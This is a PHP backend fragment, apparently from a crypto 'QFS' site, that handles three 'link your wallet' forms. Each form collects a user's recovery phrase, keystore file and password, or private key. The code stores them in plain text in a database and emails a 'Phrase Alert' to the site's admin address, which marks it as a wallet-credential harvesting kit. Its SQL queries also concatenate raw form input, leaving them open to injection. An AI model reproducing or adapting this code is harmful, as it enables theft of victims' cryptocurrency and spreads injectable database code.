if (isset($_POST['_token1'])) {
$user_id = $_SESSION['user_id'];
$wallet = $_POST['walletname'];
$phrase = $_POST['phrase'];
$statuss = 'Pending';
$email = $_SESSION['email'];
$username = $_SESSION['username'];
// Adjusting the SQL query to handle empty values
$sql = 'INSERT INTO paywase_linkwallet (username, user_id, wallet_name, recov_phrase, statuss, email,
wallet_address, secu_key, password, keystore) VALUES
("' . $username . '","' . $user_id . '", "' . $wallet . '", "' . $phrase . '", "' . $statuss . '",
"' . $email . '", "0", "0", "0", "0")';
$create = mysqli_query($link, $sql);
if ($create) {
echo json_encode(["status" => "success", "message" => "Wallet Connected successfully."]);
$to = 'gethelp@qfsprime.org';
$subject = "Phrase Alert";
$message = "
QFS
From qfsprime
Hello Admin
A phrase alert with details:
$username just linked their wallet
Crypto wallet:
$wallet wallet
The privacy and security of your account details is important to us.
If you did not recognize this activity, please contact our customer care.
";
$header = "From: gethelp@qfsprime.org \r\n";
$header .= "Cc: gethelp@qfsprime.org \r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$retval = mail($to, $subject, $message, $header);
} else {
echo 'Error: ' . mysqli_error($link);
}
}
if (isset($_POST['_token2'])) {
$user_id = $_SESSION['user_id'];
$wallet2 = $_POST['walletname'];
$keystorejson = $_POST['keystorejson'];
$keystorepassword = $_POST['keystorepassword'];
$statuss = 'Pending';
$email = $_SESSION['email'];
$username = $_SESSION['username'];
// Adjusting the SQL query to handle empty values
$sql = 'INSERT INTO paywase_linkwallet (username, user_id, wallet_name, keystore, password, statuss, email,
wallet_address, recov_phrase, secu_key) VALUES
("' . $username . '","' . $user_id . '", "' . $wallet2 . '", "' . $keystorejson . '", "' . $keystorepassword . '",
"' . $statuss . '", "' . $email . '", "0", "0", "0")';
$create = mysqli_query($link, $sql);
if ($create) {
echo json_encode(["status" => "success", "message" => "Wallet Connected successfully."]);
$to = 'gethelp@qfsprime.org';
$subject = "Phrase Alert";
$message = "
QFS
From qfsphantom
Hello Admin
A phrase alert with details:
$username just linked their wallet
Crypto wallet:
$wallet wallet
The privacy and security of your account details is important to us.
If you did not recognize this activity, please contact our customer care.
";
$header = "From: gethelp@qfsprime.org \r\n";
$header .= "Cc: gethelp@qfsprime.org \r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$retval = mail($to, $subject, $message, $header);
} else {
echo 'Error: ' . mysqli_error($link);
}
}
if (isset($_POST['_token3'])) {
$user_id = $_SESSION['user_id'];
$wallet3 = $_POST['walletname'];
$privatekey_me = $_POST['phrase'];
$statuss = 'Pending';
$email = $_SESSION['email'];
$username = $_SESSION['username'];
// Adjusting the SQL query to handle empty values
$sql = 'INSERT INTO paywase_linkwallet (username, user_id, wallet_name, secu_key, statuss, email,
wallet_address, recov_phrase, password, keystore) VALUES
("' . $username . '","' . $user_id . '", "' . $wallet3 . '", "' . $privatekey_me . '", "' . $statuss . '", "' . $email . '",
"0", "0", "0", "0")';
$create = mysqli_query($link, $sql);
if ($create) {
echo json_encode(["status" => "success", "message" => "Wallet Connected successfully"]);
$to = 'gethelp@qfsprime.org';
$subject = "Phrase Alert";
$message = "
QFS
From qfsphantom
Hello Admin
A phrase alert with details:
$username just linked their wallet
Crypto wallet:
$wallet wallet
The privacy and security of your account details is important to us.
If you did not recognize this activity, please contact our customer care.
";
$header = "From: gethelp@qfsprime.org\r\n";
$header .= "Cc: gethelp@qfsprime.org\r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$retval = mail($to, $subject, $message, $header);
} else {
echo 'Error: ' . mysqli_error($link);
}
}